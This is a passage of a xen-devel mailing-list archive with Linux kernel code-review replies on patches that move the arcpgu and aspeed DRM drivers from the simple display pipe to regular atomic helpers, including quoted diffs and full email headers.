>> +	ret =3D drm_atomic_helper_check_plane_state(plane_state, crtc_state,
>> +						  DRM_PLANE_NO_SCALING,
>> +						  DRM_PLANE_NO_SCALING,
>> +						  false, false);
>> +	return ret;
>
>
> Return directly here.
>

OK

>
>> +}
>> +
>> +static const struct drm_plane_helper_funcs arcpgu_plane_helper_funcs =
=3D {
>> +	.prepare_fb	=3D drm_gem_plane_helper_prepare_fb,
>> +	.atomic_check	=3D arcpgu_plane_helper_atomic_check,
>> +	.atomic_update	=3D arcpgu_plane_helper_atomic_update,
>> +};
>> +
>> +static bool arcpgu_plane_format_mod_supported(struct drm_plane *plane,
>> +					      u32 format,
>> +					      u64 modifier)
>> +{
>> +	return modifier =3D=3D DRM_FORMAT_MOD_LINEAR;
>> +}
>
> Please remove this function. It doesn't really do anything besides DRM's=
=20
> standard behavior.
>


Will do

>> +
>> +static const struct drm_plane_funcs arcpgu_plane_funcs =3D {
>> +	.update_plane		=3D drm_atomic_helper_update_plane,
>> +	.disable_plane		=3D drm_atomic_helper_disable_plane,
>> +	.destroy		=3D drm_plane_cleanup,
>> +	.reset			=3D drm_atomic_helper_plane_reset,
>> +	.atomic_duplicate_state	=3D drm_atomic_helper_plane_duplicate_state,
>> +	.atomic_destroy_state	=3D drm_atomic_helper_plane_destroy_state,
>> +	.format_mod_supported	=3D arcpgu_plane_format_mod_supported,
>> +};
>> +
>> +static int arcpgu_crtc_helper_atomic_check(struct drm_crtc *crtc,
>> +					   struct drm_atomic_commit *state)
>> +{
>> +	struct drm_crtc_state *crtc_state =3D drm_atomic_get_new_crtc_state(st=
ate, crtc);
>> +	int ret;
>> +
>> +	if (!crtc_state->enable)
>> +		goto out;
>> +
>> +	ret =3D drm_atomic_helper_check_crtc_primary_plane(crtc_state);
>> +	if (ret)
>> +		return ret;
>> +
>> +out:
>> +	return drm_atomic_add_affected_planes(state, crtc);
>
> Instead of using out, I'd rather use
>
>  =C2=A0 if (crtc->enable) {
>  =C2=A0 =C2=A0 =C2=A0 //do checks
>  =C2=A0 }
>
>  =C2=A0 return add_affected planes.
>
> Seems more natural to me.
>

Will do

>> +}
>> +
>> +static const struct drm_crtc_helper_funcs arcpgu_crtc_helper_funcs =3D =
{
>> +	.mode_valid	=3D arcpgu_crtc_helper_mode_valid,
>> +	.atomic_check	=3D arcpgu_crtc_helper_atomic_check,
>> +	.atomic_enable	=3D arcpgu_crtc_helper_atomic_enable,
>> +	.atomic_disable	=3D arcpgu_crtc_helper_atomic_disable,
>> +};
>> +
>> +static const struct drm_crtc_funcs arcpgu_crtc_funcs =3D {
>> +	.reset			=3D drm_atomic_helper_crtc_reset,
>> +	.destroy		=3D drm_crtc_cleanup,
>> +	.set_config		=3D drm_atomic_helper_set_config,
>> +	.page_flip		=3D drm_atomic_helper_page_flip,
>> +	.atomic_duplicate_state	=3D drm_atomic_helper_crtc_duplicate_state,
>> +	.atomic_destroy_state	=3D drm_atomic_helper_crtc_destroy_state,
>> +};
>> +
>> +static const struct drm_encoder_funcs arcpgu_encoder_funcs =3D {
>> +	.destroy =3D drm_encoder_cleanup,
>> +};
>> +
>>   static int arcpgu_load(struct arcpgu_drm_private *arcpgu)
>>   {
>>   	struct platform_device *pdev =3D to_platform_device(arcpgu->drm.dev);
>> @@ -254,6 +325,9 @@ static int arcpgu_load(struct arcpgu_drm_private *ar=
cpgu)
>>   	struct device_node *endpoint_node =3D NULL;
>>   	struct drm_connector *connector =3D NULL;
>>   	struct drm_device *drm =3D &arcpgu->drm;
>> +	struct drm_plane *plane;
>> +	struct drm_encoder *encoder;
>> +	struct drm_crtc *crtc;
>>   	int ret;
>>  =20
>>   	arcpgu->clk =3D devm_clk_get(drm->dev, "pxlclk");
>> @@ -301,12 +375,35 @@ static int arcpgu_load(struct arcpgu_drm_private *=
arcpgu)
>>   			return ret;
>>   	}
>>  =20
>> -	ret =3D drm_simple_display_pipe_init(drm, &arcpgu->pipe, &arc_pgu_pipe=
_funcs,
>> -					   arc_pgu_supported_formats,
>> -					   ARRAY_SIZE(arc_pgu_supported_formats),
>> -					   NULL, connector);
>> +	plane =3D &arcpgu->plane;
>> +	ret =3D drm_universal_plane_init(drm, plane, 0,
>> +				       &arcpgu_plane_funcs,
>> +				       arc_pgu_supported_formats,
>> +				       ARRAY_SIZE(arc_pgu_supported_formats),
>> +				       NULL,
>> +				       DRM_PLANE_TYPE_PRIMARY, NULL);
>>   	if (ret)
>>   		return ret;
>> +	drm_plane_helper_add(plane, &arcpgu_plane_helper_funcs);
>> +
>> +	crtc =3D &arcpgu->crtc;
>> +	ret =3D drm_crtc_init_with_planes(drm, crtc, plane, NULL,
>> +					&arcpgu_crtc_funcs, NULL);
>> +	if (ret)
>> +		return ret;
>> +	drm_crtc_helper_add(crtc, &arcpgu_crtc_helper_funcs);
>> +
>> +	encoder =3D &arcpgu->encoder;
>> +	ret =3D drm_encoder_init(drm, encoder, &arcpgu_encoder_funcs, DRM_MODE=
_ENCODER_NONE, NULL);
>> +	if (ret)
>> +		return ret;
>> +	encoder->possible_crtcs =3D drm_crtc_mask(crtc);
>
>
> I think plane, CRTC, and encoder should go before testing the=20
> encoder_node at [1].
>
> Then comes the encoder_node test.=C2=A0 If true, do a single encoder-node=
=20
> branch,=C2=A0 or else to a single connector-based branch.=C2=A0 =C2=A0Tha=
t would=20
> simplify the overall logic in this helper.
>
> [1]=20
> https://elixir.bootlin.com/linux/v7.1.2/source/drivers/gpu/drm/tiny/arcpg=
u.c#L287
>

OK, will move them before the encoder_node test

>
>> +
>> +	if (connector) {
>> +		ret =3D drm_connector_attach_encoder(connector, encoder);
>> +		if (ret)
>> +			return ret;
>> +	}
>>  =20
>>   	if (encoder_node) {
>>   		/* Locate drm bridge from the hdmi encoder DT node */
>> @@ -315,7 +412,7 @@ static int arcpgu_load(struct arcpgu_drm_private *ar=
cpgu)
>>   		if (!bridge)
>>   			return -EPROBE_DEFER;
>>  =20
>> -		ret =3D drm_simple_display_pipe_attach_bridge(&arcpgu->pipe, bridge);
>> +		ret =3D drm_bridge_attach(encoder, bridge, NULL, 0);
>>   		if (ret)
>>   			return ret;
>>   	}
>> @@ -342,7 +439,7 @@ static int arcpgu_show_pxlclock(struct seq_file *m, =
void *arg)
>>   	struct drm_device *drm =3D node->minor->dev;
>>   	struct arcpgu_drm_private *arcpgu =3D dev_to_arcpgu(drm);
>>   	unsigned long clkrate =3D clk_get_rate(arcpgu->clk);
>> -	unsigned long mode_clock =3D arcpgu->pipe.crtc.mode.crtc_clock * 1000;
>> +	unsigned long mode_clock =3D arcpgu->crtc.mode.crtc_clock * 1000;
>
> Here, mode is an obsolete field. The correct field is crtc->state->mode.

Will correct the field

>
> Best regards
> Thomas
>
>>  =20
>>   	seq_printf(m, "hw  : %lu\n", clkrate);
>>   	seq_printf(m, "mode: %lu\n", mode_clock);
>>

Thanks,
Ze


From xen-devel-bounces@lists.xenproject.org Mon Jul 06 13:32:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 13:32:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355376.1610139 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgjQy-0000Bl-G6; Mon, 06 Jul 2026 13:32:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355376.1610139; Mon, 06 Jul 2026 13:32:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgjQy-0000Be-DN; Mon, 06 Jul 2026 13:32:28 +0000
Received: by outflank-mailman (input) for mailman id 1355376;
 Mon, 06 Jul 2026 13:32:26 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wgjQw-0000BC-5X
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 13:32:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgjQu-00AArv-Vf
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:32:24 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a4bae58-bab6-0a2a0a5309dd-0a2a450cd734-48
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 15:32:24 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a4bae66-f399-0a2a450c0019-cddca8835ef4-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 15:32:24 +0200
Received: from pps.filterd (m0279867.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 666AxD4H366706
 for <xen-devel@lists.xenproject.org>; Mon, 6 Jul 2026 13:32:22 GMT
Received: from mail-pf1-f200.google.com (mail-pf1-f200.google.com
 [209.85.210.200])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4f891us4ef-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 13:32:22 +0000 (GMT)
Received: by mail-pf1-f200.google.com with SMTP id
 d2e1a72fcca58-84696ed3b24so4843196b3a.1
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 06:32:21 -0700 (PDT)
Received: from localhost ([151.243.38.149]) by smtp.gmail.com with ESMTPSA id
 d2e1a72fcca58-847f6d82382sm3762898b3a.49.2026.07.06.06.32.12
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 06 Jul 2026 06:32:20 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:Mime-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="In-Reply-To:References:To:From:Subject:Cc:Message-Id:Date:Content-Transfer-Encoding:Mime-Version"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	b0A44HOo06DPQTnDCUPqJ4UMJjyqFyasJ88lIL5lLZ8=; b=fG+3SBywJZ4CROyC
	EBkvPSthGbsziZkeQ7K40QVe4l60fKx8Uz2ijBpMSp1CBVrM+HI0Qd48bpu+Nzhi
	b04ix3wRfk0Y6Vz8Brg9AsqOEADGYxOTg6YXVxaP6tiB5K+NL9xWmAIQdcSDsoja
	45b2aDZ3euian4+uXjzxtwYvwI7wgwpW24xN4DoAEA0dPPY4VKGbbtifFuvCkpGD
	W08lRaoc5vSPjy7BTnjfbHHH1tS2o+s/64gN7WIJ9Qc5EPV85CK276mNfFiZO5Kz
	6EK8MGQwRIYJLD/vCqeLfFfNvZBogj1cBhA/mt27j0jVSHDY5xiaxoDqHwFtLlDE
	9x26Mg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1783344741; x=1783949541; darn=lists.xenproject.org;
        h=in-reply-to:references:to:from:subject:cc:message-id:date
         :content-transfer-encoding:mime-version:from:to:cc:subject:date
         :message-id:reply-to;
        bh=b0A44HOo06DPQTnDCUPqJ4UMJjyqFyasJ88lIL5lLZ8=;
        b=f8Qmg3YKFDGFOlQ1azgIAN9b5B7N09CgemefHw8hdBcNOk/PBT3er2uVAKGFKsFfTl
         mmprXF4kkTixnSCujVlRCs/4NGSwpVK7hdJJXmJY0plZrm4SfkyEs5QX4UU63f5IeD6N
         VQf/4LWCCmNlIJY7l6j9v1svjHYwtv31DbvW5ZvLfJaSmTJdzBLS50nGxxwtr5jjYSf3
         /0na50d/WEjo7orb7HoC+70gekFsRAXxib8qx3g9Q13Gxasx7xuVWPQJKZY5QPSw/xzG
         BeBuXZJvntOSvGP+cXAmPhf3cQcHkfLoEmI3XONUavIThrPbZbnfdtYvsLEgjYDa1+aE
         hzfg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783344741; x=1783949541;
        h=in-reply-to:references:to:from:subject:cc:message-id:date
         :content-transfer-encoding:mime-version:x-gm-gg:x-gm-message-state
         :from:to:cc:subject:date:message-id:reply-to;
        bh=b0A44HOo06DPQTnDCUPqJ4UMJjyqFyasJ88lIL5lLZ8=;
        b=UocxvNpfJiweTpoOVTEl2ZrdyslqaVMhI8G62f87yxLhKFhuHGk1r1JYnQHvypPHKI
         Ip+DzP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f8a:a055 with SMTP id d2e1a72fcca58-84826bea1afmr615699b3a.17.1783344741263;
        Mon, 06 Jul 2026 06:32:21 -0700 (PDT)
X-Received: by 2002:a05:6a00:c8d:b0:847:8f8a:a055 with SMTP id d2e1a72fcca58-84826bea1afmr615631b3a.17.1783344740650;
        Mon, 06 Jul 2026 06:32:20 -0700 (PDT)
Mime-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Mon, 06 Jul 2026 21:32:03 +0800
Message-Id: <DJRIY04KAKRH.2XJRADHKJ4G55@oss.qualcomm.com>
Cc: <dri-devel@lists.freedesktop.org>, <linux-kernel@vger.kernel.org>,
        <linux-aspeed@lists.ozlabs.org>,
        <linux-arm-kernel@lists.infradead.org>, <imx@lists.linux.dev>,
        <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH 2/9] drm/aspeed: replace struct drm_simple_display_pipe
 with regular atomic helpers
From: "Ze Huang" <ze.huang@oss.qualcomm.com>
To: "Thomas Zimmermann" <tzimmermann@suse.de>,
        "Ze Huang"
 <ze.huang@oss.qualcomm.com>,
        "Alexey Brodkin" <abrodkin@synopsys.com>,
        "Maarten Lankhorst" <maarten.lankhorst@linux.intel.com>,
        "Maxime Ripard"
 <mripard@kernel.org>,
        "David Airlie" <airlied@gmail.com>, "Simona Vetter"
 <simona@ffwll.ch>,
        "Joel Stanley" <joel@jms.id.au>,
        "Andrew Jeffery"
 <andrew@codeconstruct.com.au>,
        "Frank Li" <Frank.Li@nxp.com>,
        "Sascha
 Hauer" <s.hauer@pengutronix.de>,
        "Pengutronix Kernel Team"
 <kernel@pengutronix.de>,
        "Fabio Estevam" <festevam@gmail.com>,
        "Linus
 Walleij" <linusw@kernel.org>,
        "Hans de Goede" <hansg@kernel.org>,
        "Alex
 Lanzano" <lanzano.alex@gmail.com>,
        "Oleksandr Andrushchenko"
 <oleksandr_andrushchenko@epam.com>
X-Mailer: aerc 0.21.0-0-g5549850facc2
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com> <20260705-drm-simple-kms-removal-v1-2-b4e1ca053623@oss.qualcomm.com> <4e35e133-364a-4743-9ca0-f0799bdf28f8@suse.de>
In-Reply-To: <4e35e133-364a-4743-9ca0-f0799bdf28f8@suse.de>
X-Proofpoint-GUID: jLQiyAkUiU10C8ObXqKI8EJd-iehcnEl
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzA2MDEzNyBTYWx0ZWRfX/dSZblGZShjo
 QdZPJxPc74a+EviqbOJknGUtau4JetIuWzvTVYSL61VX4B2RXAihruiF7U/SFK0bUf4NoCmEf4S
 /b1ZoLshFlgPvY5gCvp3bv2U6NLRJdc=
X-Authority-Analysis: v=2.4 cv=Mo1iLWae c=1 sm=1 tr=0 ts=6a4bae66 cx=c_pps
 a=mDZGXZTwRPZaeRUbqKGCBw==:117 a=cNux22OjBTKCC6TmznXXXA==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=eoimf2acIAo5FJnRuUoq:22
 a=EUspDBNiAAAA:8 a=OF-i8N8vVdU2NhfsQ9oA:9 a=QEXdDO2ut3YA:10
 a=zc0IvFSfCIW2DFIPzwfm:22
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzA2MDEzNyBTYWx0ZWRfX5GnpPUye+G+Q
 jf32T4n0fR+PT0H235NLU57124bW2Qinm6uSfs+taBHZXYx2DMB69Jt1UEBZnNmxjWNTZNM0uNo
 S2NPokjALJRjZL0QP+O96s7eH8EdLdJNUc1N5odpQBRnqa1N/wacIPAtk8CnBRoIkrjIkyvfD8A
 ydaXCZ5mMer9BIhZ7CLaZ17Z3YVRc18TVgwBt7ivygDkR70DQSdfq3tf/zpw9nmymUJqdNqCzkx
 Iq24ufyYeSyYZjtm0PTDE6++HP0s90+vXPz/0NDzO2eCV3hz6wyejZCIotWwUBZIs1EjpeMvI8i
 Yy12d0GDHHlw7eKtuJD3xvU1jLXkfGn0cQ6qpanXH5002FxBDLnqGsAUfsZYBSbdiqaAIlWeCb4
 B6lIO/fGhScHS0f5tjgwh5MRh6dzRhfLumltIM3svaXJatSAwy667t6+OG6WgdtBXT5RRvYf3i2
 BsSIqXA7ZCUufiKgITg==
X-Proofpoint-ORIG-GUID: jLQiyAkUiU10C8ObXqKI8EJd-iehcnEl
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-06_01,2026-07-06_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 clxscore=1015 impostorscore=0 bulkscore=0 adultscore=0 priorityscore=1501
 suspectscore=0 spamscore=0 phishscore=0 lowpriorityscore=0 malwarescore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607060137
X-purgate-ID: tlsNG-d25034/1783344744-90110D51-9D742938/0/0
X-purgate-type: clean
X-purgate-size: 9441

On Mon Jul 6, 2026 at 4:31 PM CST, Thomas Zimmermann wrote:
> Hi,
>
> common points from my arcgpu review applied here as well. See below for=
=20
> a new other things.
>
> Am 04.07.26 um 20:31 schrieb Ze Huang:
>> Replace simple display pipe with explicit plane, CRTC and encoder
>> objects. Move callbacks to plane and CRTC helpers, with vblank handling
>> through drm_crtc_funcs.
>>
>> This removes intermediate simple-pipe layer and uses standard atomic
>> helper wiring.
>>
>> Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
>> ---
>>   drivers/gpu/drm/aspeed/aspeed_gfx.h      |   5 +-
>>   drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c | 156 +++++++++++++++++++++++=
--------
>>   drivers/gpu/drm/aspeed/aspeed_gfx_drv.c  |   3 +-
>>   3 files changed, 123 insertions(+), 41 deletions(-)
>>
>> diff --git a/drivers/gpu/drm/aspeed/aspeed_gfx.h b/drivers/gpu/drm/aspee=
d/aspeed_gfx.h
>> index 4e6a442c3886..a34811564c0d 100644
>> --- a/drivers/gpu/drm/aspeed/aspeed_gfx.h
>> +++ b/drivers/gpu/drm/aspeed/aspeed_gfx.h
>> @@ -2,7 +2,6 @@
>>   /* Copyright 2018 IBM Corporation */
>>  =20
>>   #include <drm/drm_device.h>
>> -#include <drm/drm_simple_kms_helper.h>
>>  =20
>>   struct aspeed_gfx {
>>   	struct drm_device		drm;
>> @@ -17,7 +16,9 @@ struct aspeed_gfx {
>>   	u32				throd_val;
>>   	u32				scan_line_max;
>>  =20
>> -	struct drm_simple_display_pipe	pipe;
>> +	struct drm_plane		plane;
>> +	struct drm_crtc			crtc;
>> +	struct drm_encoder		encoder;
>>   	struct drm_connector		connector;
>>   };
>>   #define to_aspeed_gfx(x) container_of(x, struct aspeed_gfx, drm)
>> diff --git a/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c b/drivers/gpu/drm/=
aspeed/aspeed_gfx_crtc.c
>> index 7877a57b8e26..3294795c31c4 100644
>> --- a/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c
>> +++ b/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c
>> @@ -5,6 +5,8 @@
>>   #include <linux/reset.h>
>>   #include <linux/regmap.h>
>>  =20
>> +#include <drm/drm_atomic.h>
>> +#include <drm/drm_atomic_helper.h>
>>   #include <drm/drm_device.h>
>>   #include <drm/drm_fb_dma_helper.h>
>>   #include <drm/drm_fourcc.h>
>> @@ -12,20 +14,13 @@
>>   #include <drm/drm_gem_atomic_helper.h>
>>   #include <drm/drm_gem_dma_helper.h>
>>   #include <drm/drm_panel.h>
>> -#include <drm/drm_simple_kms_helper.h>
>>   #include <drm/drm_vblank.h>
>>  =20
>>   #include "aspeed_gfx.h"
>>  =20
>> -static struct aspeed_gfx *
>> -drm_pipe_to_aspeed_gfx(struct drm_simple_display_pipe *pipe)
>> -{
>> -	return container_of(pipe, struct aspeed_gfx, pipe);
>> -}
>> -
>
> Please create a new helper
>
>  =C2=A0 struct drm_aspeed_gfx *to_aspeed_gfx(drm_device *drm)
>
> that does the upcast.
>

Will do

>>   static int aspeed_gfx_set_pixel_fmt(struct aspeed_gfx *priv, u32 *bpp)
>>   {
>> -	struct drm_crtc *crtc =3D &priv->pipe.crtc;
>> +	struct drm_crtc *crtc =3D &priv->crtc;
>>   	struct drm_device *drm =3D crtc->dev;
>>   	const u32 format =3D crtc->primary->state->fb->format->format;
>>   	u32 ctrl1;
>> @@ -79,7 +74,7 @@ static void aspeed_gfx_disable_controller(struct aspee=
d_gfx *priv)
>>  =20
>>   static void aspeed_gfx_crtc_mode_set_nofb(struct aspeed_gfx *priv)
>>   {
>> -	struct drm_display_mode *m =3D &priv->pipe.crtc.state->adjusted_mode;
>> +	struct drm_display_mode *m =3D &priv->crtc.state->adjusted_mode;
>>   	u32 ctrl1, d_offset, t_count, bpp;
>>   	int err;
>>  =20
>> @@ -139,33 +134,31 @@ static void aspeed_gfx_crtc_mode_set_nofb(struct a=
speed_gfx *priv)
>>   	writel(priv->throd_val, priv->base + CRT_THROD);
>>   }
>>  =20
>> -static void aspeed_gfx_pipe_enable(struct drm_simple_display_pipe *pipe=
,
>> -			      struct drm_crtc_state *crtc_state,
>> -			      struct drm_plane_state *plane_state)
>> +static void aspeed_gfx_crtc_helper_atomic_enable(struct drm_crtc *crtc,
>> +						 struct drm_atomic_commit *state)
>
> Please see my comment on arcgpu for the new naming of 'state'.
>

OK

>>   {
>> -	struct aspeed_gfx *priv =3D drm_pipe_to_aspeed_gfx(pipe);
>> -	struct drm_crtc *crtc =3D &pipe->crtc;
>> +	struct aspeed_gfx *priv =3D container_of(crtc, struct aspeed_gfx, crtc=
);
>
> Please use=C2=A0 your helper=C2=A0 to_aspeed_gfx(crtc->dev)=C2=A0 to do t=
he upcast.=C2=A0=20
> Here any in other places.
>

OK

>>  =20
>>   	aspeed_gfx_crtc_mode_set_nofb(priv);
>>   	aspeed_gfx_enable_controller(priv);
>>   	drm_crtc_vblank_on(crtc);
>>   }
>>  =20
>> -static void aspeed_gfx_pipe_disable(struct drm_simple_display_pipe *pip=
e)
>> +static void aspeed_gfx_crtc_helper_atomic_disable(struct drm_crtc *crtc=
,
>> +						  struct drm_atomic_commit *state)
>>   {
>> -	struct aspeed_gfx *priv =3D drm_pipe_to_aspeed_gfx(pipe);
>> -	struct drm_crtc *crtc =3D &pipe->crtc;
>> +	struct aspeed_gfx *priv =3D container_of(crtc, struct aspeed_gfx, crtc=
);
>
> Another upcast issue
>

Acknowledged

>>  =20
>>   	drm_crtc_vblank_off(crtc);
>>   	aspeed_gfx_disable_controller(priv);
>>   }
>>  =20
>> -static void aspeed_gfx_pipe_update(struct drm_simple_display_pipe *pipe=
,
>> -				   struct drm_plane_state *plane_state)
>> +static void aspeed_gfx_plane_helper_atomic_update(struct drm_plane *pla=
ne,
>> +						  struct drm_atomic_commit *state)
>>   {
>> -	struct aspeed_gfx *priv =3D drm_pipe_to_aspeed_gfx(pipe);
>> -	struct drm_crtc *crtc =3D &pipe->crtc;
>> -	struct drm_framebuffer *fb =3D pipe->plane.state->fb;
>> +	struct aspeed_gfx *priv =3D container_of(plane, struct aspeed_gfx, pla=
ne);
>
> to_aspeed_gfx(plane->dev)
>

Acknowledged

>> +	struct drm_crtc *crtc =3D &priv->crtc;
>> +	struct drm_framebuffer *fb =3D plane->state->fb;
>>   	struct drm_pending_vblank_event *event;
>>   	struct drm_gem_dma_object *gem;
>>  =20
>> @@ -190,9 +183,9 @@ static void aspeed_gfx_pipe_update(struct drm_simple=
_display_pipe *pipe,
>>   	writel(gem->dma_addr, priv->base + CRT_ADDR);
>>   }
>>  =20
>> -static int aspeed_gfx_enable_vblank(struct drm_simple_display_pipe *pip=
e)
>> +static int aspeed_gfx_crtc_enable_vblank(struct drm_crtc *crtc)
>>   {
>> -	struct aspeed_gfx *priv =3D drm_pipe_to_aspeed_gfx(pipe);
>> +	struct aspeed_gfx *priv =3D container_of(crtc, struct aspeed_gfx, crtc=
);
>>   	u32 reg =3D readl(priv->base + CRT_CTRL1);
>>  =20
>>   	/* Clear pending VBLANK IRQ */
>> @@ -204,9 +197,9 @@ static int aspeed_gfx_enable_vblank(struct drm_simpl=
e_display_pipe *pipe)
>>   	return 0;
>>   }
>>  =20
>> -static void aspeed_gfx_disable_vblank(struct drm_simple_display_pipe *p=
ipe)
>> +static void aspeed_gfx_crtc_disable_vblank(struct drm_crtc *crtc)
>>   {
>> -	struct aspeed_gfx *priv =3D drm_pipe_to_aspeed_gfx(pipe);
>> +	struct aspeed_gfx *priv =3D container_of(crtc, struct aspeed_gfx, crtc=
);
>>   	u32 reg =3D readl(priv->base + CRT_CTRL1);
>>  =20
>>   	reg &=3D ~CRT_CTRL_VERTICAL_INTR_EN;
>> @@ -216,12 +209,75 @@ static void aspeed_gfx_disable_vblank(struct drm_s=
imple_display_pipe *pipe)
>>   	writel(reg | CRT_CTRL_VERTICAL_INTR_STS, priv->base + CRT_CTRL1);
>>   }
>>  =20
>> -static const struct drm_simple_display_pipe_funcs aspeed_gfx_funcs =3D =
{
>> -	.enable		=3D aspeed_gfx_pipe_enable,
>> -	.disable	=3D aspeed_gfx_pipe_disable,
>> -	.update		=3D aspeed_gfx_pipe_update,
>> -	.enable_vblank	=3D aspeed_gfx_enable_vblank,
>> -	.disable_vblank	=3D aspeed_gfx_disable_vblank,
>> +static int aspeed_gfx_plane_helper_atomic_check(struct drm_plane *plane=
,
>> +						struct drm_atomic_commit *state)
>> +{
>> +	struct drm_plane_state *plane_state =3D drm_atomic_get_new_plane_state=
(state, plane);
>> +	struct drm_crtc *crtc =3D plane_state->crtc;
>> +	struct drm_crtc_state *crtc_state =3D NULL;
>> +	int ret;
>> +
>> +	if (crtc)
>> +		crtc_state =3D drm_atomic_get_new_crtc_state(state, crtc);
>> +
>> +	ret =3D drm_atomic_helper_check_plane_state(plane_state, crtc_state,
>> +						  DRM_PLANE_NO_SCALING,
>> +						  DRM_PLANE_NO_SCALING,
>> +						  false, false);
>> +	return ret;
>> +}
>
> Return directly.
>

OK

>> +
>> +static const struct drm_plane_helper_funcs aspeed_gfx_plane_helper_func=
s =3D {
>> +	.prepare_fb	=3D drm_gem_plane_helper_prepare_fb,
>> +	.atomic_check	=3D aspeed_gfx_plane_helper_atomic_check,
>> +	.atomic_update	=3D aspeed_gfx_plane_helper_atomic_update,
>> +};
>> +
>> +static const struct drm_plane_funcs aspeed_gfx_plane_funcs =3D {
>> +	.update_plane		=3D drm_atomic_helper_update_plane,
>> +	.disable_plane		=3D drm_atomic_helper_disable_plane,
>> +	.destroy		=3D drm_plane_cleanup,
>> +	.reset			=3D drm_atomic_helper_plane_reset,
>> +	.atomic_duplicate_state	=3D drm_atomic_helper_plane_duplicate_state,
>> +	.atomic_destroy_state	=3D drm_atomic_helper_plane_destroy_state,
>> +};
>> +
>> +static int aspeed_gfx_crtc_helper_atomic_check(struct drm_crtc *crtc,
>> +					       struct drm_atomic_commit *state)
>> +{
>> +	struct drm_crtc_state *crtc_state =3D drm_atomic_get_new_crtc_state(st=
ate, crtc);
>> +	int ret;
>> +
>> +	if (!crtc_state->enable)
>> +		goto out;
>> +
>> +	ret =3D drm_atomic_helper_check_crtc_primary_plane(crtc_state);
>> +	if (ret)
>> +		return ret;
>> +
>> +out:
>> +	return drm_atomic_add_affected_planes(state, crtc);
>> +}
>
> See arcpgu on a possible style improvement.
>

Will do, thanks


> Best regards
> Thomas
>

[ ... ]


From xen-devel-bounces@lists.xenproject.org Mon Jul 06 13:36:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 13:36:08 +0000
